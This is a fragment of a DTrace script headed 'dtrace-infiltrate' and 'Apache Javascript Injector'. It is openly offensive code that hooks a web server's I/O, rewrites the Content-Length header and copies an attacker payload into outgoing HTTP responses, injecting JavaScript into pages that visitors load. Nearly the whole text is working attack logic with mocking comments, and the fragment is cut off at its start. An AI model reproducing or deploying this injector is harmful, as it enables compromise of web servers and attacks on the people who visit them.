dtrace-infiltrate

Apache Javascript Injector
/* copy in whole req */
this->req = copyinstr(*self->iov,self->len);
this->index = index(this->req, "Content-Length");
/* get rid of content-length header lulz */
this->clhead = strjoin("Content-Length: ", lltostr(self->httpmmaplen + strlen(self-
>PAYLOAD)));
copyout(this->clhead,*self->iov + this->index,strlen(this->clhead));
}
/* Add the length of the payload to the length in the struct. */
*self->newlen = self->len + strlen(self->PAYLOAD);
copyout(self->newlen,arg1 + sizeof(char *),sizeof(char *));
/* Save off the part after the headers, so we can restore it at the end */
self->blob = copyin(*self->iov + self->len,strlen(self->PAYLOAD) + 1);
/* Write the payload in where we backed up the data. */
copyout(self->PAYLOAD,*self->iov + self->len,strlen(self->PAYLOAD) + 1);